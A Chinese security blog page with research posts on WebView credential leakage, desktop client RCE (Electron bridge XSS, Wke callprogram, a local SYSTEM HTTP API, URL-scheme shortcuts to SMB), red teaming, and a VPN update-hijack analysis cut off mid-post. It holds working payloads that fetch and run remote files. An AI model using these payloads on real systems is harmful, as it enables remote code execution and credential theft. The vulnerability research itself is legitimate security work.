C

Chen's Blog

Chen's Blog,分享安全领域的所思、所想、所学。

黑盒视角下的 WebView 漏洞面探索

黑盒视角下的 WebView 漏洞面探索 前言 本文主要记录了在移动端探索 WebView 组件漏洞的过程,采用黑盒视角,摒弃复杂繁琐的内部逻辑分析,专注于快速且直接的漏洞挖掘方法。由于笔者才疏学浅,因此本文难免会出现一些文笔不通或专业解释不到位的情况,还望多包涵及斧正。 WebView 组件 介绍 顾名思义,WebView 组件是用于在应用程序中嵌入和展示 Web 内容的系统组件。通过调用 WebView,开发者能够实现在自己的应用中直接渲染网页,这从某种程度上极大地简化了跨平台应用的开发流程。利用 WebView,开发者只需进行少量适配工作,即可将现有的 Web 应用无缝移植到移动应用环境中,显著提升了开发效率和灵活性。 场景 WebView 组件实际上无处不在。例如,在手机上打开一个商城 APP 时,展示的商品信息可能本质上就是通过 WebView 加载和渲染的网页。在这些实际应用场景中,用户通常不会察觉到 WebView 的存在,并且所有显示的信息可能都是由 APP 预先配置好的。 漏洞入口 要想让用户手机上的 APP 调用 WebView 组件对自定义页面进行渲染,方法主要分为两种:第一类是国内常见的二维码扫码,通过扫描一个指向网页链接的二维码,从而直接调用 WebView 加载特定网页;第二类是 APP 间的跳转调用,即 URL Scheme(在安卓上也称为 Deep Link),通过这种方式可以从一个 APP 直接跳转到另一个 APP 中的特定页面,而这个页面同样可能是通过 WebView 来渲染的。 二维码扫描 APP 上的二维码扫码功能通常作用于用户界面的左右上角,如果找不到的话则可以在 APP 的设置页面中找到“扫一扫”、“扫码”等字眼就可以打开相关功能。 URL Scheme 跳转 关于 URL Scheme,对于我来说就是老熟人了,在 2018 年的时候就在博客里浅浅的分享了一下,有兴趣可以看下:https://gh0st.cn/archives/2018-12-08/1。 这里简单说明下,URL Scheme 实际上是应用程序在操作系统层面注册的一种自定义协议格式,它允许 APP 定义特定的协议名,并在 APP 内定义路由和接收参数来完成某些功能,与我们所理解的 HTTP 协议形式的 URL 地址没有什么本质区别。当其他应用或浏览器尝试通过这种自定义协议发起请求时,系统能够识别并定位到相应的应用程序,然后传递所访问的功能路由和参数信息给该应用进行处理。 在 iOS 和 Android 上,对于 URL Scheme 的支持是不一样的,例如在 iOS 上的 Safari 浏览器的地址栏中直接输入 URL Scheme 则可以完成跳转调用。而 Android 默认浏览器下,用同样的方式则会提示找不到网页,因此想要调用 URL Scheme 就需要借助 JavaScript(location 跳转)或 HTML(a 标签 href 点击指向)的方式,在 iOS 上也可以用这种方式。 <a href="xapp://page?url=https://gh0st.cn">Click</a> 实战案例 基于以上所述的两种攻击入口,我发现了许多 APP 上的漏洞,可以通过 WebView 组件直接获取用户凭证。 WebView 访问 访问获取凭证是 WebView 组件漏洞面的最基本漏洞,通过扫描二维码或 URL Scheme 跳转调用 WebView 组件打开指定的 URL 地址,接着由于 APP 为设限或存在绕过的情况下,WebView 内访问指定的 URL 地址时会携带凭证信息。 为什么 WebView 内访问可以携带凭证? 因为当前 APP 的设计架构采用 Native UI 与 WebView 相结合的方式,以兼顾性能体验与业务灵活性,支持更丰富的应用场景,因此在 APP 上进行登录后,APP 在 WebView 的应用场景下也会携带登录凭证。 二维码扫描 关于二维码扫描的方式比较简单找到入口,如上文所说在 APP 那找到对应功能点即可。以下图所示,图中所展示的案例就是最经典的二维码扫描入口进入 WebView 组件,访问时携带了凭证到达指定 URL 地址。(可以将 URL 地址设为 BurpSuite Collaborator 的地址或类似有 HTTP Log 记录的地址) 如图所示案例实际上有个细节,如二维码内容处打码的部分即为白名单域名,可以通过抓包或知道 APP 归属的域名方式获取该部分。很多 APP 使用 WebView 组件进行访问时,会判断当前访问的页面 URL 地址中的域名部分,有些 APP 在此处判断时比较宽松,例如判断域名是否包含某域名。因此可以通过一些格式对此进行绕过,如:http://白名单域名.HTTPLog.com、http://白名单域名@HTTPLog.com。 URL Scheme 跳转 URL Scheme 按常规逻辑需要通过工具查看 APP 所声明的信息,APK 格式就是文件内的 AndroidManifest.xml 文件,IPA 格式就是文件内的 Info.plist 文件。但是本文不做偏逆向/白盒侧的分享,从黑盒角度出发获取 URL Scheme。 为什么可以从黑盒出发获取 URL Scheme? 还是回到 Native UI 与 WebView,因为 WebView 会去访问一些业务/功能页面,因此开发也会在 WebView 网站中去写入 APP 的 URL Scheme 信息,从而调起 APP 内的一些 Native 功能,因此只要可以进行抓包即可通过正则匹配的方式获取到完整的 URL Scheme 信息。 如下图所示案例逻辑为: 通过笔者所开发的 HaE 工具配合 BurpSuite 进行抓包,规则就会获取到抓包过程中所出现的 URL Scheme 信息:xxx://clause/WebView?url=。 得到该信息之后,将其中的 url 参数设为 HTTPLog 地址:xxx://clause/WebView?url=http://HTTPLog.com。 在 iOS 环境下即可通过浏览器复制构建好的地址直接打开然后跳转到 APP 内的 WebView 访问界面。在 Android 环境下,则可以按上文中提到的 HTML 代码方式进行。 最后在 HTTPLog 服务中即可查看是否获取到了凭证信息,如果没有也可以尝试绕过,与二维码扫描处的绕过逻辑是一样的。 JSBridge 获取 逻辑与发现 JSBridge 是一种在 App 中实现 JavaScript 与 Native 代码通信的技术方式,可以将 Web 页面中的 JavaScript 调用映射到原生功能中。很多 APP 在使用 JSBridge 映射 JavaScript 与 Native 方法时,未对调用来源的域(Origin)进行校验或白名单限制,导致任意网页或第三方脚本均可通过 JavaScript 直接调用注册的 Native 接口。 这些被注册的接口,可以是全局变量、方法、对象等类型。在 JavaScript 中全局实际上就是窗口对象 Window。也就意味着这些接口都会被注册到 Window 下面。因此,只要进入到 WebView 组件内就可以通过遍历 Window 全局对象的方式来找到被 APP 所注册的接口。 如下代码所示就是一个简易的 Window 全局对象遍历代码。它的缺点很明显,如图所示会将浏览器/组件自带的一些方法遍历出来,因此就需要加入输出过滤功能,从而帮助我们更方便的进行 APP 注册接口的寻找。 <body> </body> <script> Object.keys(window).forEach(key => { document.body.innerHTML += `<pre>${key}:${window[key]}</pre>`; }); </script> 凭证获取 依旧使用 HaE 的规则通过抓包的方式来获取到 WebView 的 URL Scheme 信息:xxx://promotion/web,有些 URL Scheme 信息需要分析业务 JavaScript 文件中的逻辑,如图所示在基础的 URL 信息上还有一个参数 url:xxx://promotion/web?url=。 如下图所示案例逻辑为: 编写 A 标签跳转页面,用于指定 WebView 组件跳转页面:<a href="xxx://promotion/web?url=http://可信域名.attack.com/WebView/0.html">Click Me</a>。 打开跳转页面点击 A 标签,调用起目标 APP 的 WebView 组件访问自动化遍历脚本页面,分析发现 czbInfo.getAppInfo 方法可以获取凭证。 构建 JavaScript 外带代码用于验证凭证可以经过网络进行远程获取。 总结与思考 本文从黑盒测试的视角,梳理了针对移动端 WebView 组件的漏洞挖掘路径。但是 WebView 组件不仅仅是移动端的特有产物,随着类 CEF (Chromium嵌入式框架)/ 类 Electron 框架的出现,PC客户端也同样面临着 WebView 组件攻击风险。 抛出两个思考:除了获取凭证外是否存在其他更高维度的利用面?除了APP自身校验缺陷外是否存在系统层的校验不严格问题?

2025/12/26
articleCard.readMore

被忽视的暗面:客户端应用漏洞挖掘之旅

被忽视的暗面:客户端应用漏洞挖掘之旅 前言 在2023年12月15日,我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员,我被邀请分享名为“被忽视的暗面:客户端应用漏洞挖掘之旅”的技术议题。 客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级,客户端应用漏洞也逐渐出现在大众视野中(APT攻击、攻防赛事等等),在本次议题中,我们将重点关注PC侧的客户端应用程序,如即时通讯、远程服务、视频软件等应用,探索其中存在的漏洞和潜在的安全风险。 漏洞案例 漏洞案例的分析主要分为两类,一是常规风险的介绍和了解,二是RCE漏洞的挖掘思路和手法。 注意:以下漏洞案例均通过脱敏和细节上的处理。 常规风险篇 常规风险在这里我分为这几类:信息泄露、白利用、逻辑校验、缓冲区溢出。 信息泄漏 对于客户端的信息泄露,我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配,将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。 实际效果没有那么好,仅有一些数据库的连接配置信息泄露,并且由于是基于IDA的也没有那么好的进行自动批量化发现。 我们可以借助Strings工具来快速的获取可执行文件的字符串内容,并通过正则或其他方式进行匹配。 白利用 白利用问题就老生常谈了,在红队的工作中也经常遇到,如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多的赘述了。 逻辑校验 很多客户端程序在对用户信息进行获取的时候会通过内存的方式,来获取用户的编号,从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的,我们可以通过CE来对内存进行修改,从而导致越权漏洞的产生。 这类问题很经典,在以往就有许多案例(wooyun-2015-0143395、wooyun-2014-048606),但现在仍然可以从一些主流的应用上发现到类似的安全问题。 缓冲区溢出 缓冲区溢出问题太多太多了,我们可以通过通过IDA插件VulFi定位脆弱点,很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外,也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz,从而找到溢出问题。 除了本地网络服务以外,最经典的、利用最多的还是特定文件格式处理客户端,如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序,它用于各种各样的图片处理,我们可以找一些比较不常见的图片格式,并且通过网盘资源找到一些样本文件,丢给GPT或IFFA来分析文件格式,并输出Pits脚本,通过Peach Fuzzer来进行Fuzz工作。 RCE篇 接着我们来到RCE篇,请注意这里的RCE并不是Pre Auth的,案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对,如果一些客户端的网络服务端口是监听在0.0.0.0的,只要你与目标机器处于同一个网络,或该客户端是在服务器上使用的,也一样可以实现0 Click的效果。 Web类客户端 Web类客户端,我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序,如Electron这类CEF(浏览器嵌入式)框架开发的客户端应用,以及基于渲染引擎(如Wke)所开发的客户端应用。 某IM客户端应用 如下图所示,是一个即时通讯客户端应用,我在群名称重命名时发现了一个反射XSS漏洞,根据其目录结构我知道它是一个基于Electron开发的程序。 在Electron框架下,如果开发者在渲染页面时配置nodeIntegration为true,则说明我们可以在前端中使用Nodejs的语法,这就导致我们可以直接在前端使用如下Nodejs代码执行命令: require('child_process').exec(...); 但是这个配置项在创建功能窗口时并没有开启: 所以,我们也就没办法通过XSS执行Nodejs的代码,但是根据当前的Electron的版本1.8.7去互联网检索,发现这个版本存在一个历史漏洞:CVE-2018-15685,而后进行相关验证,也无法成功。 但是我们在\resources\app\src\inject\preload.js文件中(这是预加载JS,也就表示这个文件在窗口创建后,页面创建前就执行了),发现了注册的全局变量: window.ZxDesktop = ZxDesktop; 所以我们可以直接去调用这个全局变量,从而去使用其内部的定义的一些功能: 该全局变量实际上导出了很多其他模块及对应方法: 我们跟进File模块,就可以发现存在一个open函数: 跟进代码和测试之后,发现它就是文件打开函数,在Console下去调用,成功打开计算器: 接着看导出函数列表的其他项,发现存在两个文件保存的方法: 而它们所指向的都是另外一个模块的方法: const Download = require('../download_extra/download.render.js'); 跟进这个模块,发现实际上他们都来自同一个方法,只不过传递的参数isSelect有不同: 接着我们来完整的阅读下代码即可发现整个逻辑,首先根据你传递的参数来判断要调用NormalDownload(正常下载)还是ChunkDownload(分块下载),接着根据isSelect函数来判断调用save还是saveAs方法: 所以我们仍然需要跟进NormalDownload或ChunkDownload对应的代码,来查看它们这些方法的逻辑是什么,这里看了之后,两者代码的唯一区别就是分块,所以本文就以NormalDownload的save、saveAs方法去说明。 首先是saveAs方法,它会调用一个文件保存框,然后赋值调用retryStart方法: 而实际上retryStart方法内调用的是start方法,这个方法是用来进行请求下载的: 而后下载的文件实际上会保存在用户的数据目录下,save方法与saveAs方法的最大的不同就是没有这个文件保存框,所以我们当然选择使用save方法。 需要注意,在如上代码中save和saveAs的传递参数不一致,其实这不影响最终的处理,因为在一开始的对象创建时候就通过构造函数赋值了: let downloader = new Download(file, config); 至此,我们就获得了文件下载的攻击路径,我们可以根据对应参数这样构建JS代码: ZxDesktop.require("File").save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""}); 我们已经获得了文件下载的功能,攻击路径就很明显了:用户下载文件,打开文件。但是实际操作中,我们打开文件还缺少一个路径,并且在实际的测试中,默认情况下,下载的文件是会保存在应用的数据目录的null目录下。 而这个目录可能会被用户更改(用户名也没法获取),所以我们需要搭配一个点去获取路径,在这里找到了ZxDesktop的System模块: 它的导出列表中有两个属性:dbPath、userDataPath,它们的内容都是一样的,指向了用户的数据目录: ZxDesktop.require("System").userDataPath 我们可以这样拼接,就有了下载文件的目录信息了: ZxDesktop.require("System").userDataPath + "/null/test.txt" 当我们满足所有条件后,就可以构造完整的攻击代码了: 1.下载文件: var a = ZxDesktop; var b = a.require("File"); b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""}); 2.拼接文件路径,打开文件: b.open(a.require("System").userDataPath + "/null/test.txt"); 3.最终Exploit: "><svg onload='var a = ZxDesktop;var b = a.require("File");b.save({"url": "http://gh0st.cn:81/test.txt","name": "test.txt","path": "","chunkSize": "","size": "","fileData": ""});b.open(a.require("System").dbPath + "/null/test.txt");'> 某运维平台客户端 在某运维平台客户端中,我们发现可以通过伪协议链接(xxx://webview/?url=http://xxxx)来达到端内任意页面加载,这也就表示我们可以执行任意JS代码。 根据加载的DLL文件得知,其所依赖的前端页面渲染是开源项目Wke。 在源代码wke/jsBind.cpp中,发现wkeJSBindFunction方法提供了JSBridge的功能,将JavaScript函数绑定到C++中一个本地函数。 基于IDA分析得知,目标应用使用了该方法将JS函数与C++函数进行了绑定。图下图所示,其将C++某个函数地址,与名为callprogram的JavaScript函数进行绑定,我们可以直接在JS代码中调用。 跟进对应的C++函数,我们发现它会通过wkeJSParam获取参数,再通过JSToTempStringW获取字符串形式的参数值,最终将两个参数带入ShellExecuteW函数执行。即最终执行的代码为:ShellExecuteW(0, "open", 参数1, 参数2, 0, 1)。 因此我们可以构建如下的Exploit代码,并通过伪协议的方式使目标可以打开包含Exp代码的网页: <script>callprogram("C:/Windows/System32/cmd.exe", "/c calc");</script> 传统类客户端 传统类客户端,我的定义是基于C/C++写的一些传统应用,如VPN客户端、视频软件、远程控制软件等偏生活、日常类的应用。 某远程服务平台客户端 在拿到一个客户端程序时,第一步是安装,第二步则应该是先大致去了解该程序的一些目录结构、运行环境等信息,这样我们在接下来的漏洞挖掘中才会有更多的信息来进行关联,辅助我们挖掘漏洞。 如下图所示,安装完某远程服务平台客户端后,我通过火绒剑逐个查看对应的进程信息,在TCP/IP窗口中看见当前进程的网络通信或监听信息。如下图所示就是UserClient.exe进程当前的网络通信信息,我们可以看到它在本地监听了两个端口:38227、38230。 它的协议都是TCP,我们可以尝试使用HTTP的方式去访问,结果显示38230端口可以以HTTP协议的方式进行访问。 我们可以选取响应报文中的bangwo8client字符串在IDA的Strings窗口中进行搜索,通过这样的方式来进行逻辑的回溯。 双击进入字符串所在的.RDATA节,我们就可以看到该字符串对应的交叉引用,那么接下来我们的工作就是进入这些函数看具体实现是否对的上响应报文的主体内容。 我们进入一个函数查看,会发现在函数的头部代码中有如下这么一段内容,它的逻辑似乎就对应了HTTP响应报文的主体返回,通过字符串的对应我们能大致知道sub_487760函数的作用就是为了将字符串解析到JSON格式中,然后再通过其他函数拼接JSON的字段内容给到Block。 除了我们跟进的这个函数外其他的函数逻辑都大致一样,并且我们通过IDA插件CTO查看调用关系,发现这些函数最终都是被同一个函数sub_674090调用。 那我们再继续跟进函数sub_674090,函数的逻辑就是根据不同的URI进入不同的函数处理,也就表示着这里就是HTTP请求逻辑处理的入口位置。 有了请求处理逻辑的入口,接下来我们就要去看每个URI对应的处理逻辑是什么,看一下处理的逻辑中是否有参数值可控导致存在的相关漏洞。 如果你觉得这样去看很累,也可以基于敏感函数的调用链来对应每个URI的处理函数,如下图所示我就基于ShellExecuteA函数的调用链找到了URI/api_install的对应处理函数,也就表示当你访问URL:http://127.0.0.1:38230/api_install时很有可能就会触发ShellExecuteA函数。 那么我们可以跟进去看一下该处理函数,看看是否可以将可控参数值带入到ShellExecuteA函数里去执行。 在函数的一开始就判断运行当前程序的用户是否是system,如果不是的话则直接返回响应内容(状态码500)提示当前不是以SYSTEM权限运行的进程。 这里我们通过Process Hacker可以看到UserClient.exe进程对应的用户就是SYSTEM: 也就表示我们当前是满足这个条件的,所以可以接着看IF分支内的逻辑。在IF分支内就执行了ShellExecuteA函数,根据ShellExecuteA函数的使用语法我们知道它这是以v15作为参数执行v16程序,所以我们需要知道v15、v16这两个变量是如何赋值而来的。 具体的逻辑可以下图,我们找到赋值关系最终确认一切的参数来源都是Block,该值是一个全局变量,那么根据当前的环境我们就可以猜测此处的来源就是HTTP请求参数。 根据猜测,我们可以先使用OD附加进程在ShellExecuteA函数处下断点。 然后请求URL:http://127.0.0.1:38230/api_install?file=cmd.exe&param=/k%20notepad,我们就会在OD界面中看见端点到ShellExecuteA函数了,我们可以通过栈来看一下传参是什么。 如下所示我们发现ShellExecuteA函数的参数FileName和Parameters是一串乱码的内容,这应该是我们输入的字符串经过了某些处理后导致的。 因此我们可以在URI/api_install对应处理的函数起始位置下断点一步一步跟进看一下我们请求的参数值是否真的带进来了,如果带进来了为什么最终值会变成一段乱码的数据。 如下图OD中可以看见我们的请求参数file的值cmd.exe确实可以带进来,这也就验证了我们的猜想,ShellExecuteA函数的参数是来源于HTTP请求参数。 接着走下去我们会发现调用如下函数时的参数就是我们的请求参数file和对应值cmd.exe,当该函数执行完成之后返回到EAX寄存器,我们跟进EAX寄存器的地址查看数据就会发现数据为乱码内容,也就是我们在ShellExecuteA函数断点处看见的参数。 push esi push eax call UserClie.004203B0 所以我们可以跟进函数004203B0在IDA中看一下它具体做了什么,这样我们才能构造请求让真正的字符串带入到ShellExecuteA函数中执行。 在这之前我们需要注意,由于IDA和实际进程执行的基址不同,我们可以在OD中找到进程基址然后将IDA对应的基址修改为进程的,这样我们就可以直接跟进函数004203B0,而不需要再去进行地址的换算。 在IDA中跟进函数004203B0,它实际上也是调用的另外一个函数00370C70,在该函数里对字符串进行位移转换,猜测可能是自定义的解码方式。但是在它进行遍历的过程中使用到了一段数组数据word_74E940,我们跟进这个数据之后发现似乎是一张解码表。 如下将整段数据罗列出来,看着与Base64解码所需要的解码表是一致的,所以此处极有可能就是Base64解码操作,将我们的输入的字符串cmd.exe进行解码,最终就变成了乱码。 我们可以将cmd.exe字符串进行Base64解码,发现结果确实为我们之前所看到的乱码内容: 最终我们也就确定了这里的请求参数值是需要先进行Base64编码之后再带入请求的。因此我们可以构建出如下Exploit,当安装了该客户端的应用打开Exp代码对应页面时,即可以执行我们想要的命令。 <iframe src="http://127.0.0.1:38230/api_install?file=Y21kLmV4ZQ==&param=L2sgbm90ZXBhZA==" width="0px" height="0px"> 某视频软件客户端 通过URLProtocolView找到视频软件客户端注册的伪协议:xxplayer://,通过字符串定位程序伪协议的处理功能点,也可以知道有哪些的伪协议路由。 发现这里可以通过xxplayer://action.cmd/xxx的方式来触发一些功能,所有功能列表如下所示: xxplayer://action.cmd/playShareVideo xxplayer://action.cmd/play xxplayer://action.cmd/downloadvideo xxplayer://action.cmd/downloadpage xxplayer://action.cmd/downloadShareVideo xxplayer://action.cmd/createshortcut_url xxplayer://action.cmd/createshortcut xxplayer://action.cmd/activeHomepage 根据字面意思理解它的作用即可,这里我们一个一个带入请求尝试,发现当请求createshortcut_url时会在桌面创建.link的快捷方式文件。 我们跟进这个创建快捷方式的逻辑,发现实际上它还有两个参数:url、name: 然后将这两个参数值带入CreateUrlShortcut函数执行,这个函数是导入函数,就是用于创建桌面快捷方式的。 因此我们可以构建伪协议URL:xxplayer://action.cmd/createshortcut_url?url=http://www.baidu.com&name=Test,访问就发现它创建了一个名为Test的快捷方式,目标为:C:\xxplayer.exe \UrlQuickLunch=http://www.baidu.com,0,也就表示我们传入的url参数值变成了启动参数,name参数值变成了快捷方式名字。 当我们双击这个快捷方式时,就会调用浏览器打开http://www.baidu.com。 接着我们发现只要url参数值为xxx://xxx.xxx/的格式即可,那么我们尝试将url参数值修改为file://172.16.176.176/netntlm,也就变成这样:xxplayer://action.cmd/createshortcut_url?url=file://172.16.176.176/netntlm&name=123,在机器上responder监听一下,当打开快捷方式时收到了NTLM Hash: 除了获取NTLM Hash,我们还可以在Ubuntu上开一个SMB服务,然后将url参数设为使用\\172.16.176.176\share\Test.exe,使用快捷方式打开共享文件,发现确实可以打开EXE文件,但是会有文件信任的安全警告(Mark-of-the-Web)。 这里可以通过jar文件形式去绕过,打包一个打开计算器的Jar包放在共享目录下,然后将url参数设为使用\\172.16.176.176\share\1.jar。 访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.jar&name=123,创建快捷方式,打开快捷方式,执行Jar包启动计算器,这样我们就实现了1 Click执行任意命令。 使用远程Jar包的方式来达到任意命令执行还是有局限性,如果目标机器不存在Java环境就无法执行,因此在对文件信任机制的研究发现在smb共享文件中打开zip压缩包内的bat文件,不会有任何弹窗提示直接执行bat文件内容。 因此我们可以在共享文件夹中创建1.zip,放入内容为calc的1.bat文件。 将url参数值设为\\172.16.176.225\share\1.zip\1.bat,然后访问xxplayer://action.cmd/createshortcut_url?url=\\172.16.176.225\share\1.zip\1.bat&name=123创建桌面快捷方式,打开快捷方式即可执行bat文件,最终达到不需要任何依赖的情况下执行任意命令。 总结 简单总结一下以上两类客户端的攻击入口、RCE风险和影响面。 关于客户端本地开启的网络协议问题,我总结出如下几步可以快速的进行漏洞发现: 找到客户端启动的本地网络服务(TCP、UDP),这个可以用火绒剑或者CMD的方式查看; 有本地监听的情况下,找到对应的程序以及加载的DLL,通过IDA根据端口号找到监听的点,如果是C/C++的程序一般找bind这个函数就能快速定位到; 向上回溯找调用链,并根据网络服务的返回结果,例如HTTP访问会有一段字符串或者响应头的一些字符串,定位到代码处理逻辑; 如果逻辑对应上了,那就接着找程序的导入表是否存在敏感的函数,例如:CreateProcess、WinExec、ShellExec,如果存在则可以向上回溯看看是否与网络服务监听点有联系; 当条件都满足的时候就想尽办法,通过断点调试等操作,找传参或数据传输格式,看看可控内容是否可达敏感的函数处; 根据代码逻辑构造PoC触发漏洞,并尝试武器化利用。 致谢 在文章的最后,我要感谢公司部门领导和同事对本议题的贡献和帮助(以下排名不分先后),感谢字节跳动安全中心对于本次沙龙的筹办和策划。

2023/12/18
articleCard.readMore

我眼中的红队

我眼中的红队 碎语闲谈,作为一名多年的十八线红队选手一直想写一篇文章来总结下“我眼中的红队”,之前写过一点,因文笔拙劣遂删除,起本文重写。 什么是红队 现如今是数字化时代,万物联网创造了一个新的空间,即网络空间,网络空间的安全也上升到了国家安全层面,并且网络已经成为国家继海、陆、空、天之后的第五大主权领域空间。 正是如此,网络空间也就如传统领域空间一样,需要通过演习对抗的模式,提升网络安全防御能力,以攻促防,知攻善防。 攻防双方在演习中通常称之为红队(Red Team)和蓝队(Blue Team),红队(Red Team)即攻击方,穷尽方法攻击以达到获取演习靶标权限的目的。 红队攻击流程 红队的攻击流程大致分为4个步骤,分别是制定战术、外网打点、内网横向、结果报告。 制定战术:根据演习规则及目标结合自身优点制定攻击战术,以保证演习过程不盲目、不混乱,有条不紊的完成演习; 外网打点:通过漏洞、供应链、社工、近源等手段对目标暴露面进行攻击,以此打开进入目标内网的入口; 内网横向:通过信息收集、分析、关联,结合相关漏洞及密码对内网可达网段机器进行横向攻击,以此发现更多脆弱点或接近内网的演习靶标; 结果报告:将红队攻击过程、所涉技术手段、攻击痕迹等信息进行整理,形成文档提交至演习平台,并且便于后续复盘。 红队成员结构 通常在攻防演习中,主办方都是要求现场红队成员有三位,按照我的理解这三位应该是:队长、渗透师、横向师。 队长:技术综合能力较强,具备较好的团队协作、组织、应变、沟通能力,能有条理的安排演习任务,并且在演习结果上报后有争议时与裁判进行沟通; 渗透师:前渗透能力较强,也就是侧重于信息收集、Web漏洞黑盒挖掘及代码审计能力,在拿到目标信息后能够快速的找到脆弱资产,撕开暴露面入口以供后渗透; 横向师:后渗透能力较强,也就是侧重于木马免杀、权限维持及漏洞利用能力,当具有暴露面入口时能够通过它对内网进行持续性的脆弱点发现。 当然,目标往往是美好的,现实却是残酷的,在演习中真正的红队成员都应该具备这三种能力,才能应对这万变的局面。 红队基础设施 红队的基础设施,我将其分为三大块:人员、武器库、漏洞库。 人员:万事皆以人为本,红队的基础设施也离不开人,优秀的伙伴可以让你在演习过程中更舒心,而人员通常是最难解决的,大部分都是通过外部招聘的形式引入技术人才,或培养初入职场的学生; 武器库:武器库在我的理解中,就是一切皆自动化或自主化,信息收集、邮件钓鱼、木马免杀的自动化,以及C2、Webshell管理工具的自主化,这都是最基础的一些; 漏洞库:漏洞库即0day、1day这些漏洞的利用,例如SQL注入不应只是注入,而是要结合SQL注入直接获取目标站点权限,无论你是结合SQL注入获取密码再进入后台进行文件上传获取权限,还是SQL注入直接堆叠执行命令获取权限,简而言之,漏洞只是开始,通过漏洞获取权限才是漏洞库所需要的,这也是大家通常所说的漏洞武器化。 红队结果复盘 在进行一场演习之后,红队应结合演习结果进行复盘,主要围绕这几个方面:演习结果的总结、红队成员的分工、演习过程的问题。 演习结果的总结:对演习上报的结果进行总结,梳理出攻击技术及相关路径; 红队成员的分工:明确每个成员的分工,并且结合成果来看分工的落实程度; 演习过程的问题:总结演习过程中发现的问题,找出问题产生的原因,有解决方案的提出解决方案,没有的就复盘会上进行交流。

2022/8/18
articleCard.readMore

某VPN客户端远程下载文件执行模拟逆向分析

某VPN客户端远程下载文件执行模拟逆向分析 前言 2021年3月,我通过黑盒的方式挖掘出某VPN客户端的远程下载文件执行漏洞,其原理就是通过VPN客户端本身所开启的Web服务API接口修改客户端更新请求地址,继而通过API控制客户端程序进行自动请求更新,导致客户端下载我自定义的更新程序,并运行。 黑盒侧的漏洞挖掘往往带有许多的不确定性,所以我尝试从白盒(逆向)侧的角度去入手分析该漏洞的形成,并以此为基础形成对这种漏洞的模型记忆,并且在后续的研究中也用类似思路对其他VPN客户端进行漏洞挖掘,成果还算不错。 注:文中可能会存在笔误或描述不准确等错误,还望各位不吝赐教,多多斧正。 黑盒侧 在正式逆向之前,建议读者先阅读一下黑盒侧的漏洞挖掘过程,如若读者已经熟知该漏洞,可越过该章节直接阅读「逆向侧」章节内容。 漏洞回顾 随便找一个地方下载VPN客户端下载安装。 安装完之后访问VPN的页面,发现VPN会自动下载组件更新: 这之间也许是因为存在着某些联系,可以深入的看一下。 对本地的访问 重现上述问题,通过F12发现当访问VPN的登陆页面会对本地127.0.0.1进行HTTP(s)请求: 这些请求均为GET请求并附带着一些参数,我把它一一列下来: 本地来看一下这个54530端口对应的进程是什么: 发现这个端口是ECAgent.exe开启的,寻找到对应进程文件所在位置: 确认这是XXX SSLVPN的程序,那么就可以将两者联系到一起,访问VPN登录首页会触发对127.0.0.1的访问从而引起VPN进行组件更新。 更新地址可控 通过以上的分析可以猜测整个大致流程,但我设想一下如果我可以控制本地的更新指向我的服务器,然后将更新的组件内容替换成恶意程序,当程序启动的时候就启动了恶意程序,这样我可以拿到安装VPN客户端的使用者PC权限。 再回到之前的本地链接列表,根据对英文的理解,参数op的值应该为其具体对应要执行的动作: InitECAgent -> 初始化 GetEncryptKey -> 获取加密密钥 DoConfigure -> 配置 CheckReLogin -> 检查重新登录 CheckProxySetting -> 检查代理设置 UpdateControls -> 更新控制 DoQueryService -> 查询服务 第一个初始化的请求存在可控参数arg1: https://127.0.0.1:54530/ECAgent/?op=InitECAgent&arg1=XXX%20443&callback=EA_cb10000 参数arg1=XXX%20443,对应值也就是HOST+空格+端口的格式,看到这里基本上就会有一个思路,客户端更新控件是不是根据这个指定值向其发送请求更新的呢?我可以只替换第一个初始化请求的arg1参数为172.20.10.2 8000,然后本地搭建一个HTTP服务: python -m SimpleHTTPServer 其他的请求原封不动,依次请求一遍那一份URL列表(图为请求示例): 服务端成功收到请求,但是却出现了错误的提示: 首先我已经验证了自己的猜想,更新地址是自己可控的,客户端确实会向我指定的服务端发送请求,但由于出现了错误,我不知道客户端访问了哪个文件,也不知道访问文件之后做了什么动作。 服务搭建 现在要做的就是搭建一个客户端可以正常访问的请求,通过这个错误大致可以知道,我搭建的服务端协议和客户端请求使用的协议不一致,本机抓个包发现客户端请求的是 HTTPS 协议,这就需要搭建一个 HTTPS 服务了。 如下脚本基于Python库建立一个 HTTPS 服务: # openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes import BaseHTTPServer, SimpleHTTPServer import ssl httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), SimpleHTTPServer.SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() 搭建起一个 HTTPS 环境后再次复现如上请求,服务端收到日志: 可以看见客户端会访问两个文件: /com/WindowsModule.xml /com/win/XXXUD.exe 先不管xml文件是怎么样的,可执行文件(exe)是需要重视的,但是这里通过提示可以看出客户端发出的请求是POST请求,但我所写的Python脚本建立的HTTPS服务并不支持POST方法,我需要重写一下Handler: import BaseHTTPServer import SimpleHTTPServer import cgi import ssl class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_POST(self): form = cgi.FieldStorage() SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self) Handler = ServerHandler httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 8000), Handler) httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True) httpd.serve_forever() 最终如上脚本支持POST方法,当时用POST方法请求时即返回文件内容。 最后,拖一个calc.exe(计算器)到HTTPS网站根目录下的/com/win/XXXUD.exe。 